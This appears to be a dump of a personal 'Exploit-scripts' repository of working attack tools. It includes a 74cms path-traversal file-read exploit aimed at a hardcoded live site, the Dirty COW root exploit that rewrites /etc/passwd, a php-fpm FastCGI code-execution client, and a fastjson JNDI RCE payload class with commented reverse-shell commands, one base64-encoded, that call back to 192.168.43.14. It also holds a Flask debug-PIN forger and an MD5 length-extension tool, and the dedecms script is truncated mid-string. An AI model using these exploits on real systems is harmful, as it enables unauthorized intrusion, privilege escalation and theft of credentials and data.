├── 74cms └── 74cms-fileread.py ├── README.md ├── dedecms └── 后台目录.py ├── dirty cow └── dirtycow-master │ └── dirty.c ├── fast-cgi └── fpm.py ├── fastjson ├── CommandObject.java ├── FastJson_JdbcRowSetImpl_JNDI_RMIServer.jar └── README.md ├── flask ├── flask-debug-pin │ └── pin.py └── flask-session │ └── flask-session.py ├── hash-length-extension └── hash-extension.py ├── mt_rand ├── README.md ├── forecast.php ├── format.php ├── generate.php └── php_mt_seed-4.0 │ ├── Makefile │ ├── README │ └── php_mt_seed.c ├── phar ├── 1.phar └── gen_phar.php ├── phpcms └── phpcms-9.6.1.py ├── phpinfolfi └── exp.py ├── redis ├── 1.gif ├── 2gopher │ ├── 2gopher.py │ ├── README.md │ ├── shell.txt │ ├── ssh.txt │ └── webshell.txt ├── README.md ├── shell.sh ├── ssh.sh └── webshell.sh ├── tomcat └── CVE-2017-12617.py ├── typecho ├── 1.png ├── README.md └── ser.php ├── weblogic ├── CVE-2018-2628 │ └── CVE-2018-2628.py └── ysoserial-0.0.6.txt └── xlxs-xxe └── http.xlsx /74cms/74cms-fileread.py: -------------------------------------------------------------------------------- 1 | #encoding=utf8 2 | import time, random, string, hashlib 3 | import requests 4 | 5 | def post_exp(): 6 | url = root_url+'/index.php' 7 | username = ''.join(random.sample(string.ascii_letters, 6)) 8 | uid = random.randint(100,999999) 9 | params = {'m':'','c':'members','a':'register'} 10 | data = {'ajax':'1','org':'bind','reg_type':'2','utype':'2','ucenter':'bind'} 11 | cookies = { 'members_bind_info[temp_avatar]':'../../../../Application/Common/Conf/db.php', 12 | 'members_bind_info[type]':'qq', 13 | 'members_uc_info[password]':username, 14 | 'members_uc_info[uid]':str(uid), 15 | 'members_uc_info[username]':username 16 | } 17 | r = requests.post(url,params=params,data=data,cookies=cookies) 18 | pic_time = int(time.time()) 19 | return uid,pic_time 20 | 21 | def get_picname(uid,pic_time): 22 | localtime = time.localtime(pic_time) 23 | unhash_name = str(uid)+str(pic_time) 24 | hash_name = hashlib.md5(unhash_name.encode('utf8')).hexdigest()+'.jpg' 25 | pic_url = root_url+'/data/upload/avatar/{}{}/{}/'.format(str(localtime[0])[2:],str(localtime[1]).zfill(2),localtime[2])+hash_name 26 | return pic_url 27 | 28 | def main(): 29 | global root_url 30 | root_url = 'http://www.yuanhangrencai.com/yanjiaorencaiwang/' 31 | 32 | uid,pic_time = post_exp() 33 | for pt in range(pic_time-10,pic_time+10): 34 | pic_url = get_picname(uid,pt) 35 | r = requests.get(pic_url) 36 | if r.status_code == 200: 37 | print("Vulnerable!") 38 | print(r.text) 39 | exit() 40 | 41 | print(pt,pic_url,r) 42 | print("may be unvulnerable") 43 | 44 | 45 | if __name__ == '__main__': 46 | main() 47 | 48 | 49 | 50 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Exploit-scripts 2 | 存放一些自己写过的漏洞利用脚本 3 | -------------------------------------------------------------------------------- /dedecms/后台目录.py: -------------------------------------------------------------------------------- 1 | '''/* 2 | * author = Mochazz 3 | * team = 红日安全团队 4 | * env = pyton3 5 | * 6 | */ 7 | ''' 8 | import requests 9 | import itertools 10 | characters = "abcdefghijklmnopqrstuvwxyz0123456789_!#" 11 | back_dir = "" 12 | flag = 0 13 | url = "" 14 | data = { 15 | "_FILES[mochazz][tmp_name]" : "./{p}< 32 | #include 33 | #include 34 | #include 35 | #include 36 | #include 37 | #include 38 | #include 39 | #include 40 | #include 41 | #include 42 | #include 43 | #include 44 | 45 | const char *filename = "/etc/passwd"; 46 | const char *backup_filename = "/tmp/passwd.bak"; 47 | const char *salt = "firefart"; 48 | 49 | int f; 50 | void *map; 51 | pid_t pid; 52 | pthread_t pth; 53 | struct stat st; 54 | 55 | struct Userinfo { 56 | char *username; 57 | char *hash; 58 | int user_id; 59 | int group_id; 60 | char *info; 61 | char *home_dir; 62 | char *shell; 63 | }; 64 | 65 | char *generate_password_hash(char *plaintext_pw) { 66 | return crypt(plaintext_pw, salt); 67 | } 68 | 69 | char *generate_passwd_line(struct Userinfo u) { 70 | const char *format = "%s:%s:%d:%d:%s:%s:%s\n"; 71 | int size = snprintf(NULL, 0, format, u.username, u.hash, 72 | u.user_id, u.group_id, u.info, u.home_dir, u.shell); 73 | char *ret = malloc(size + 1); 74 | sprintf(ret, format, u.username, u.hash, u.user_id, 75 | u.group_id, u.info, u.home_dir, u.shell); 76 | return ret; 77 | } 78 | 79 | void *madviseThread(void *arg) { 80 | int i, c = 0; 81 | for(i = 0; i < 200000000; i++) { 82 | c += madvise(map, 100, MADV_DONTNEED); 83 | } 84 | printf("madvise %d\n\n", c); 85 | } 86 | 87 | int copy_file(const char *from, const char *to) { 88 | // check if target file already exists 89 | if(access(to, F_OK) != -1) { 90 | printf("File %s already exists! Please delete it and run again\n", 91 | to); 92 | return -1; 93 | } 94 | 95 | char ch; 96 | FILE *source, *target; 97 | 98 | source = fopen(from, "r"); 99 | if(source == NULL) { 100 | return -1; 101 | } 102 | target = fopen(to, "w"); 103 | if(target == NULL) { 104 | fclose(source); 105 | return -1; 106 | } 107 | 108 | while((ch = fgetc(source)) != EOF) { 109 | fputc(ch, target); 110 | } 111 | 112 | printf("%s successfully backed up to %s\n", 113 | from, to); 114 | 115 | fclose(source); 116 | fclose(target); 117 | 118 | return 0; 119 | } 120 | 121 | int main(int argc, char *argv[]) 122 | { 123 | // backup file 124 | int ret = copy_file(filename, backup_filename); 125 | if (ret != 0) { 126 | exit(ret); 127 | } 128 | 129 | struct Userinfo user; 130 | // set values, change as needed 131 | user.username = "firefart"; 132 | user.user_id = 0; 133 | user.group_id = 0; 134 | user.info = "pwned"; 135 | user.home_dir = "/root"; 136 | user.shell = "/bin/bash"; 137 | 138 | char *plaintext_pw; 139 | 140 | if (argc >= 2) { 141 | plaintext_pw = argv[1]; 142 | printf("Please enter the new password: %s\n", plaintext_pw); 143 | } else { 144 | plaintext_pw = getpass("Please enter the new password: "); 145 | } 146 | 147 | user.hash = generate_password_hash(plaintext_pw); 148 | char *complete_passwd_line = generate_passwd_line(user); 149 | printf("Complete line:\n%s\n", complete_passwd_line); 150 | 151 | f = open(filename, O_RDONLY); 152 | fstat(f, &st); 153 | map = mmap(NULL, 154 | st.st_size + sizeof(long), 155 | PROT_READ, 156 | MAP_PRIVATE, 157 | f, 158 | 0); 159 | printf("mmap: %lx\n",(unsigned long)map); 160 | pid = fork(); 161 | if(pid) { 162 | waitpid(pid, NULL, 0); 163 | int u, i, o, c = 0; 164 | int l=strlen(complete_passwd_line); 165 | for(i = 0; i < 10000/l; i++) { 166 | for(o = 0; o < l; o++) { 167 | for(u = 0; u < 10000; u++) { 168 | c += ptrace(PTRACE_POKETEXT, 169 | pid, 170 | map + o, 171 | *((long*)(complete_passwd_line + o))); 172 | } 173 | } 174 | } 175 | printf("ptrace %d\n",c); 176 | } 177 | else { 178 | pthread_create(&pth, 179 | NULL, 180 | madviseThread, 181 | NULL); 182 | ptrace(PTRACE_TRACEME); 183 | kill(getpid(), SIGSTOP); 184 | pthread_join(pth,NULL); 185 | } 186 | 187 | printf("Done! Check %s to see if the new user was created.\n", filename); 188 | printf("You can log in with the username '%s' and the password '%s'.\n\n", 189 | user.username, plaintext_pw); 190 | printf("\nDON'T FORGET TO RESTORE! $ mv %s %s\n", 191 | backup_filename, filename); 192 | return 0; 193 | } 194 | -------------------------------------------------------------------------------- /fast-cgi/fpm.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import random 3 | import argparse 4 | import sys 5 | from io import BytesIO 6 | 7 | # Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client 8 | 9 | PY2 = True if sys.version_info.major == 2 else False 10 | 11 | 12 | def bchr(i): 13 | if PY2: 14 | return force_bytes(chr(i)) 15 | else: 16 | return bytes([i]) 17 | 18 | def bord(c): 19 | if isinstance(c, int): 20 | return c 21 | else: 22 | return ord(c) 23 | 24 | def force_bytes(s): 25 | if isinstance(s, bytes): 26 | return s 27 | else: 28 | return s.encode('utf-8', 'strict') 29 | 30 | def force_text(s): 31 | if issubclass(type(s), str): 32 | return s 33 | if isinstance(s, bytes): 34 | s = str(s, 'utf-8', 'strict') 35 | else: 36 | s = str(s) 37 | return s 38 | 39 | 40 | class FastCGIClient: 41 | """A Fast-CGI Client for Python""" 42 | 43 | # private 44 | __FCGI_VERSION = 1 45 | 46 | __FCGI_ROLE_RESPONDER = 1 47 | __FCGI_ROLE_AUTHORIZER = 2 48 | __FCGI_ROLE_FILTER = 3 49 | 50 | __FCGI_TYPE_BEGIN = 1 51 | __FCGI_TYPE_ABORT = 2 52 | __FCGI_TYPE_END = 3 53 | __FCGI_TYPE_PARAMS = 4 54 | __FCGI_TYPE_STDIN = 5 55 | __FCGI_TYPE_STDOUT = 6 56 | __FCGI_TYPE_STDERR = 7 57 | __FCGI_TYPE_DATA = 8 58 | __FCGI_TYPE_GETVALUES = 9 59 | __FCGI_TYPE_GETVALUES_RESULT = 10 60 | __FCGI_TYPE_UNKOWNTYPE = 11 61 | 62 | __FCGI_HEADER_SIZE = 8 63 | 64 | # request state 65 | FCGI_STATE_SEND = 1 66 | FCGI_STATE_ERROR = 2 67 | FCGI_STATE_SUCCESS = 3 68 | 69 | def __init__(self, host, port, timeout, keepalive): 70 | self.host = host 71 | self.port = port 72 | self.timeout = timeout 73 | if keepalive: 74 | self.keepalive = 1 75 | else: 76 | self.keepalive = 0 77 | self.sock = None 78 | self.requests = dict() 79 | 80 | def __connect(self): 81 | self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 82 | self.sock.settimeout(self.timeout) 83 | self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 84 | # if self.keepalive: 85 | # self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1) 86 | # else: 87 | # self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0) 88 | try: 89 | self.sock.connect((self.host, int(self.port))) 90 | except socket.error as msg: 91 | self.sock.close() 92 | self.sock = None 93 | print(repr(msg)) 94 | return False 95 | return True 96 | 97 | def __encodeFastCGIRecord(self, fcgi_type, content, requestid): 98 | length = len(content) 99 | buf = bchr(FastCGIClient.__FCGI_VERSION) \ 100 | + bchr(fcgi_type) \ 101 | + bchr((requestid >> 8) & 0xFF) \ 102 | + bchr(requestid & 0xFF) \ 103 | + bchr((length >> 8) & 0xFF) \ 104 | + bchr(length & 0xFF) \ 105 | + bchr(0) \ 106 | + bchr(0) \ 107 | + content 108 | return buf 109 | 110 | def __encodeNameValueParams(self, name, value): 111 | nLen = len(name) 112 | vLen = len(value) 113 | record = b'' 114 | if nLen < 128: 115 | record += bchr(nLen) 116 | else: 117 | record += bchr((nLen >> 24) | 0x80) \ 118 | + bchr((nLen >> 16) & 0xFF) \ 119 | + bchr((nLen >> 8) & 0xFF) \ 120 | + bchr(nLen & 0xFF) 121 | if vLen < 128: 122 | record += bchr(vLen) 123 | else: 124 | record += bchr((vLen >> 24) | 0x80) \ 125 | + bchr((vLen >> 16) & 0xFF) \ 126 | + bchr((vLen >> 8) & 0xFF) \ 127 | + bchr(vLen & 0xFF) 128 | return record + name + value 129 | 130 | def __decodeFastCGIHeader(self, stream): 131 | header = dict() 132 | header['version'] = bord(stream[0]) 133 | header['type'] = bord(stream[1]) 134 | header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3]) 135 | header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5]) 136 | header['paddingLength'] = bord(stream[6]) 137 | header['reserved'] = bord(stream[7]) 138 | return header 139 | 140 | def __decodeFastCGIRecord(self, buffer): 141 | header = buffer.read(int(self.__FCGI_HEADER_SIZE)) 142 | 143 | if not header: 144 | return False 145 | else: 146 | record = self.__decodeFastCGIHeader(header) 147 | record['content'] = b'' 148 | 149 | if 'contentLength' in record.keys(): 150 | contentLength = int(record['contentLength']) 151 | record['content'] += buffer.read(contentLength) 152 | if 'paddingLength' in record.keys(): 153 | skiped = buffer.read(int(record['paddingLength'])) 154 | return record 155 | 156 | def request(self, nameValuePairs={}, post=''): 157 | if not self.__connect(): 158 | print('connect failure! please check your fasctcgi-server !!') 159 | return 160 | 161 | requestId = random.randint(1, (1 << 16) - 1) 162 | self.requests[requestId] = dict() 163 | request = b"" 164 | beginFCGIRecordContent = bchr(0) \ 165 | + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \ 166 | + bchr(self.keepalive) \ 167 | + bchr(0) * 5 168 | request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN, 169 | beginFCGIRecordContent, requestId) 170 | paramsRecord = b'' 171 | if nameValuePairs: 172 | for (name, value) in nameValuePairs.items(): 173 | name = force_bytes(name) 174 | value = force_bytes(value) 175 | paramsRecord += self.__encodeNameValueParams(name, value) 176 | 177 | if paramsRecord: 178 | request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId) 179 | request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId) 180 | 181 | if post: 182 | request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId) 183 | request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId) 184 | 185 | self.sock.send(request) 186 | self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND 187 | self.requests[requestId]['response'] = b'' 188 | return self.__waitForResponse(requestId) 189 | 190 | def __waitForResponse(self, requestId): 191 | data = b'' 192 | while True: 193 | buf = self.sock.recv(512) 194 | if not len(buf): 195 | break 196 | data += buf 197 | 198 | data = BytesIO(data) 199 | while True: 200 | response = self.__decodeFastCGIRecord(data) 201 | if not response: 202 | break 203 | if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \ 204 | or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR: 205 | if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR: 206 | self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR 207 | if requestId == int(response['requestId']): 208 | self.requests[requestId]['response'] += response['content'] 209 | if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS: 210 | self.requests[requestId] 211 | return self.requests[requestId]['response'] 212 | 213 | def __repr__(self): 214 | return "fastcgi connect host:{} port:{}".format(self.host, self.port) 215 | 216 | 217 | if __name__ == '__main__': 218 | parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.') 219 | parser.add_argument('host', help='Target host, such as 127.0.0.1') 220 | parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php') 221 | parser.add_argument('-c', '--code', help='What php code your want to execute', default='') 222 | parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int) 223 | 224 | args = parser.parse_args() 225 | 226 | client = FastCGIClient(args.host, args.port, 3, 0) 227 | params = dict() 228 | documentRoot = "/" 229 | uri = args.file 230 | content = args.code 231 | params = { 232 | 'GATEWAY_INTERFACE': 'FastCGI/1.0', 233 | 'REQUEST_METHOD': 'POST', 234 | 'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'), 235 | 'SCRIPT_NAME': uri, 236 | 'QUERY_STRING': '', 237 | 'REQUEST_URI': uri, 238 | 'DOCUMENT_ROOT': documentRoot, 239 | 'SERVER_SOFTWARE': 'php/fcgiclient', 240 | 'REMOTE_ADDR': '127.0.0.1', 241 | 'REMOTE_PORT': '9985', 242 | 'SERVER_ADDR': '127.0.0.1', 243 | 'SERVER_PORT': '80', 244 | 'SERVER_NAME': "localhost", 245 | 'SERVER_PROTOCOL': 'HTTP/1.1', 246 | 'CONTENT_TYPE': 'application/text', 247 | 'CONTENT_LENGTH': "%d" % len(content), 248 | 'PHP_VALUE': 'auto_prepend_file = php://input', 249 | 'PHP_ADMIN_VALUE': 'allow_url_include = On' 250 | } 251 | response = client.request(params, content) 252 | print(force_text(response)) -------------------------------------------------------------------------------- /fastjson/CommandObject.java: -------------------------------------------------------------------------------- 1 | /* 2 | * @Author: King kaki 3 | * @Date: 2018-11-01 18:43:44 4 | * @Last Modified by: King kaki 5 | * @Last Modified time: 2018-11-01 18:44:36 6 | */ 7 | import java.lang.Runtime; 8 | import java.lang.Process; 9 | public class CommandObject { 10 | public CommandObject(){ 11 | try{ 12 | Runtime rt = Runtime.getRuntime(); 13 | //Runtime.getRuntime().exec("/bin/bash -i >&/dev/tcp/192.168.43.14/2018<&1"); 14 | //String[] commands = {"bash -c {echo,L2Jpbi9iYXNoIC1pID4mL2Rldi90Y3AvMTkyLjE2OC40My4xNC8yMDE4PCYx}|{base64,-d}|{bash,-i}"}; 15 | 16 | String[] commands = {"touch","/tmp/fastjson"}; //Command 17 | Process pc = rt.exec(commands); 18 | pc.waitFor(); 19 | }catch(Exception e){ 20 | e.printStackTrace(); 21 | } 22 | } 23 | public static void main(String[] argv){ 24 | CommandObject e = new CommandObject(); 25 | } 26 | } -------------------------------------------------------------------------------- /fastjson/FastJson_JdbcRowSetImpl_JNDI_RMIServer.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kingkaki/Exploit-scripts/36264dd97749817b4dd210551177c9a15de912a5/fastjson/FastJson_JdbcRowSetImpl_JNDI_RMIServer.jar -------------------------------------------------------------------------------- /fastjson/README.md: -------------------------------------------------------------------------------- 1 | https://github.com/iBearcat/FastJson-JdbcRowSetImpl-RCE 2 | 3 | ## 漏洞利用 4 | 5 | ### 在CommandObject.java类中的commands数组中构造想要执行的命令 6 | 7 | ### 编译 javac CommandObject.java 8 | 9 | ``` 10 | import java.lang.Runtime; 11 | import java.lang.Process; 12 | public class CommandObject { 13 | public CommandObject(){ 14 | try{ 15 | Runtime rt = Runtime.getRuntime(); 16 | //Runtime.getRuntime().exec("/bin/bash -i >&/dev/tcp/192.168.43.14/2018<&1"); 17 | //String[] commands = {"bash -c {echo,L2Jpbi9iYXNoIC1pID4mL2Rldi90Y3AvMTkyLjE2OC40My4xNC8yMDE4PCYx}|{base64,-d}|{bash,-i}"}; 18 | 19 | String[] commands = {"touch","/opt/test"}; //Command 20 | Process pc = rt.exec(commands); 21 | pc.waitFor(); 22 | }catch(Exception e){ 23 | e.printStackTrace(); 24 | } 25 | } 26 | public static void main(String[] argv){ 27 | CommandObject e = new CommandObject(); 28 | } 29 | } 30 | ``` 31 | 32 | [![20181019](https://github.com/iBearcat/FastJson-JdbcRowSetImpl/raw/master/images/3.jpg?raw=true)](https://github.com/iBearcat/FastJson-JdbcRowSetImpl/blob/master/images/3.jpg?raw=true) 33 | 34 | ## 漏洞利用 35 | 36 | ### 开启一个HTTP服务,并且开启 RMIServer 37 | 38 | ### 如: 39 | 40 | ``` 41 | Python2 -m SimpleHTTPServer 80 42 | Python3 -m http.server 80 43 | ``` 44 | 45 | ### 生成Payload 46 | 47 | ``` 48 | java -jar FastJson_JdbcRowSetImpl_JNDI_RMIServer.jar 指定RMI端口 49 | ``` 50 | 51 | ### FastJson_JdbcRowSetImpl_JNDI_RMIServer.jar 会生成一串Json Payload 52 | 53 | [![20181019](https://github.com/iBearcat/FastJson-JdbcRowSetImpl/raw/master/images/4.jpg?raw=true)](https://github.com/iBearcat/FastJson-JdbcRowSetImpl/blob/master/images/4.jpg?raw=true) 54 | 55 | ``` 56 | {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.43.14:6666/Object","autoCommit":true} 57 | ``` 58 | 59 | ### 把它Copy到漏洞环境的input中,然后submit进行攻击。 -------------------------------------------------------------------------------- /flask/flask-debug-pin/pin.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Author: King kaki 3 | # @Date: 2018-08-10 13:08:38 4 | # @Last Modified by: King kaki 5 | # @Last Modified time: 2018-08-10 15:37:17 6 | import hashlib 7 | from itertools import chain 8 | probably_public_bits = [ 9 | 'kingkk',# username 10 | 'flask.app',# modname 11 | 'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__')) 12 | '/home/kingkk/.local/lib/python3.5/site-packages/flask/app.py' # getattr(mod, '__file__', None), 13 | ] 14 | 15 | private_bits = [ 16 | '52242498922',# str(uuid.getnode()), /sys/class/net/ens33/address 17 | '19949f18ce36422da1402b3e3fe53008'# get_machine_id(), /etc/machine-id 18 | ] 19 | 20 | h = hashlib.md5() 21 | for bit in chain(probably_public_bits, private_bits): 22 | if not bit: 23 | continue 24 | if isinstance(bit, str): 25 | bit = bit.encode('utf-8') 26 | h.update(bit) 27 | h.update(b'cookiesalt') 28 | 29 | cookie_name = '__wzd' + h.hexdigest()[:20] 30 | 31 | num = None 32 | if num is None: 33 | h.update(b'pinsalt') 34 | num = ('%09d' % int(h.hexdigest(), 16))[:9] 35 | 36 | rv =None 37 | if rv is None: 38 | for group_size in 5, 4, 3: 39 | if len(num) % group_size == 0: 40 | rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') 41 | for x in range(0, len(num), group_size)) 42 | break 43 | else: 44 | rv = num 45 | 46 | print(rv) -------------------------------------------------------------------------------- /flask/flask-session/flask-session.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | import sys 4 | import zlib 5 | from base64 import b64decode 6 | from flask.sessions import session_json_serializer 7 | from itsdangerous import base64_decode 8 | 9 | def decryption(payload): 10 | payload, sig = payload.rsplit(b'.', 1) 11 | payload, timestamp = payload.rsplit(b'.', 1) 12 | 13 | decompress = False 14 | if payload.startswith(b'.'): 15 | payload = payload[1:] 16 | decompress = True 17 | 18 | try: 19 | payload = base64_decode(payload) 20 | except Exception as e: 21 | raise Exception('Could not base64 decode the payload because of ' 22 | 'an exception') 23 | 24 | if decompress: 25 | try: 26 | payload = zlib.decompress(payload) 27 | except Exception as e: 28 | raise Exception('Could not zlib decompress the payload before ' 29 | 'decoding the payload') 30 | 31 | return session_json_serializer.loads(payload) 32 | 33 | if __name__ == '__main__': 34 | print(decryption(sys.argv[1].encode())) -------------------------------------------------------------------------------- /hash-length-extension/hash-extension.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Author: King kaki 3 | # @Date: 2018-08-04 12:40:11 4 | # @Last Modified by: kingkk 5 | # @Last Modified time: 2018-08-12 15:08:28 6 | import math 7 | 8 | 9 | F = lambda x, y, z: ((x & y) | ((~x) & z)) 10 | G = lambda x, y, z: ((x & z) | (y & (~z))) 11 | H = lambda x, y, z: (x ^ y ^ z) 12 | I = lambda x, y, z: (y ^ (x | (~z))) 13 | L = lambda x, n: (((x << n) | (x >> (32 - n))) & (0xffffffff)) 14 | shi_1 = (7, 12, 17, 22) * 4 15 | shi_2 = (5, 9, 14, 20) * 4 16 | shi_3 = (4, 11, 16, 23) * 4 17 | shi_4 = (6, 10, 15, 21) * 4 18 | m_1 = (0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15) 19 | m_2 = (1, 6, 11, 0, 5, 10, 15, 4, 9, 14, 3, 8, 13, 2, 7, 12) 20 | m_3 = (5, 8, 11, 14, 1, 4, 7, 10, 13, 0, 3, 6, 9, 12, 15, 2) 21 | m_4 = (0, 7, 14, 5, 12, 3, 10, 1, 8, 15, 6, 13, 4, 11, 2, 9) 22 | 23 | 24 | def T(i): 25 | return (int(4294967296 * abs(math.sin(i)))) & 0xffffffff 26 | 27 | 28 | def shift(shift_list): 29 | shift_list = [shift_list[3], shift_list[0], shift_list[1], shift_list[2]] 30 | return shift_list 31 | 32 | 33 | def fun(fun_list, f, m, shi): 34 | count = 0 35 | global Ti_count 36 | while count < 16: 37 | xx = int(fun_list[0], 16) + f(int(fun_list[1], 16), int(fun_list[2], 16), int(fun_list[3], 16)) + int(m[count], 16) + T(Ti_count) 38 | xx &= 0xffffffff 39 | ll = L(xx, shi[count]) 40 | fun_list[0] = hex((int(fun_list[1], 16) + ll) & 0xffffffff) 41 | fun_list = shift(fun_list) 42 | count += 1 43 | Ti_count += 1 44 | return fun_list 45 | 46 | 47 | def gen_m16(order, ascii_list, f_offset): 48 | ii = 0 49 | m16 = [0] * 16 50 | f_offset *= 64 51 | for i in order: 52 | i *= 4 53 | m16[ii] = '0x' + ''.join((ascii_list[i + f_offset] + ascii_list[i + 1 + f_offset] + ascii_list[i + 2 + f_offset] + ascii_list[i + 3 + f_offset]).split('0x')) 54 | ii += 1 55 | for ind in range(len(m16)): 56 | m16[ind] = reverse_hex(m16[ind]) 57 | return m16 58 | 59 | 60 | def reverse_hex(hex_str): 61 | hex_str = hex_str[2:] 62 | if len(hex_str) < 8: 63 | hex_str = '0' * (8 - len(hex_str)) + hex_str 64 | hex_str_list = [] 65 | for i in range(0, len(hex_str), 2): 66 | hex_str_list.append(hex_str[i:i + 2]) 67 | hex_str_list.reverse() 68 | hex_str_result = '0x' + ''.join(hex_str_list) 69 | return hex_str_result 70 | 71 | 72 | def show_result(f_list): 73 | result = '' 74 | f_list1 = [0] * 4 75 | for i in f_list: 76 | f_list1[f_list.index(i)] = reverse_hex(i)[2:] 77 | result += f_list1[f_list.index(i)] 78 | return result 79 | 80 | 81 | def padding(input_m, msg_lenth=0): 82 | ascii_list = list(map(hex, map(ord, input_m))) 83 | msg_lenth += len(ascii_list) * 8 84 | ascii_list.append('0x80') 85 | for i in range(len(ascii_list)): 86 | if len(ascii_list[i]) < 4: 87 | ascii_list[i] = '0x' + '0' + ascii_list[i][2:] 88 | while (len(ascii_list) * 8 + 64) % 512 != 0: 89 | ascii_list.append('0x00') 90 | msg_lenth_0x = hex(msg_lenth)[2:] 91 | msg_lenth_0x = '0x' + msg_lenth_0x.rjust(16, '0') 92 | msg_lenth_0x_big_order = reverse_hex(msg_lenth_0x)[2:] 93 | msg_lenth_0x_list = [] 94 | for i in range(0, len(msg_lenth_0x_big_order), 2): 95 | msg_lenth_0x_list.append('0x' + msg_lenth_0x_big_order[i: i + 2]) 96 | ascii_list.extend(msg_lenth_0x_list) 97 | return ascii_list 98 | 99 | 100 | def md5(input_m): 101 | global Ti_count 102 | Ti_count = 1 103 | abcd_list = ['0x67452301', '0xefcdab89', '0x98badcfe', '0x10325476'] 104 | ascii_list = padding(input_m) 105 | for i in range(0, len(ascii_list) // 64): 106 | aa, bb, cc, dd = abcd_list 107 | order_1 = gen_m16(m_1, ascii_list, i) 108 | order_2 = gen_m16(m_2, ascii_list, i) 109 | order_3 = gen_m16(m_3, ascii_list, i) 110 | order_4 = gen_m16(m_4, ascii_list, i) 111 | abcd_list = fun(abcd_list, F, order_1, shi_1) 112 | abcd_list = fun(abcd_list, G, order_2, shi_2) 113 | abcd_list = fun(abcd_list, H, order_3, shi_3) 114 | abcd_list = fun(abcd_list, I, order_4, shi_4) 115 | output_a = hex((int(abcd_list[0], 16) + int(aa, 16)) & 0xffffffff) 116 | output_b = hex((int(abcd_list[1], 16) + int(bb, 16)) & 0xffffffff) 117 | output_c = hex((int(abcd_list[2], 16) + int(cc, 16)) & 0xffffffff) 118 | output_d = hex((int(abcd_list[3], 16) + int(dd, 16)) & 0xffffffff) 119 | abcd_list = [output_a, output_b, output_c, output_d] 120 | Ti_count = 1 121 | print(ascii_list) 122 | return show_result(abcd_list) 123 | 124 | 125 | # md5-Length Extension Attack: 计算 md5(message + padding + suffix), res = md5(message), len_m = len(message) 126 | def md5_lea(suffix, res, len_m): 127 | global Ti_count 128 | Ti_count = 1 129 | abcd_list = [] 130 | for i in range(0, 32, 8): 131 | abcd_list.append(reverse_hex('0x' + res[i: i + 8])) 132 | # print(abcd_list) 133 | ascii_list = padding(suffix, (len_m + 72) // 64 * 64 * 8) # len(message + padding) * 8 134 | # print(ascii_list) 135 | for i in range(0, len(ascii_list) // 64): 136 | aa, bb, cc, dd = abcd_list 137 | order_1 = gen_m16(m_1, ascii_list, i) 138 | order_2 = gen_m16(m_2, ascii_list, i) 139 | order_3 = gen_m16(m_3, ascii_list, i) 140 | order_4 = gen_m16(m_4, ascii_list, i) 141 | abcd_list = fun(abcd_list, F, order_1, shi_1) 142 | abcd_list = fun(abcd_list, G, order_2, shi_2) 143 | abcd_list = fun(abcd_list, H, order_3, shi_3) 144 | abcd_list = fun(abcd_list, I, order_4, shi_4) 145 | output_a = hex((int(abcd_list[0], 16) + int(aa, 16)) & 0xffffffff) 146 | output_b = hex((int(abcd_list[1], 16) + int(bb, 16)) & 0xffffffff) 147 | output_c = hex((int(abcd_list[2], 16) + int(cc, 16)) & 0xffffffff) 148 | output_d = hex((int(abcd_list[3], 16) + int(dd, 16)) & 0xffffffff) 149 | abcd_list = [output_a, output_b, output_c, output_d] 150 | Ti_count = 1 151 | # print(ascii_list) 152 | return show_result(abcd_list) 153 | 154 | def url_append(hex_bit): 155 | len_append = '0x{}{}'.format( (18-len(hex_bit))*'0', hex_bit[2:]) 156 | len_append = reverse_hex(len_append)[2:] 157 | # print(len_append) 158 | t = '' 159 | for i in range(len(len_append)): 160 | if i % 2 ==0 : 161 | t += '%'+len_append[i:i+2] 162 | else: 163 | pass 164 | return t 165 | 166 | if __name__ == '__main__': 167 | ''' 168 | 修改res为已知哈希值 169 | extend 为拓展值 170 | 自动遍历出1-30长度的payload url编码表达式 171 | ''' 172 | res = 'd1438f92003f4f4a516a026417f04a83' 173 | extend = 'hint.txt' 174 | # print(reverse_hex('0x' + res)) 175 | 176 | for i in range(30): 177 | hex_bit = hex(i*8) 178 | t = url_append(hex_bit) 179 | print('[%d]' % i,md5_lea(extend,res,i)) 180 | # print('{}%80{}{}{}'.format('X'*i, (55-i)*'%00',t, extend) ) 181 | print('%80{}{}{}'.format((55-i)*'%00',t, extend) ) 182 | # print('{}{}'.format( hex(i), (18-len(hex(i)))*'0') ) 183 | # from urllib.parse import unquote 184 | # 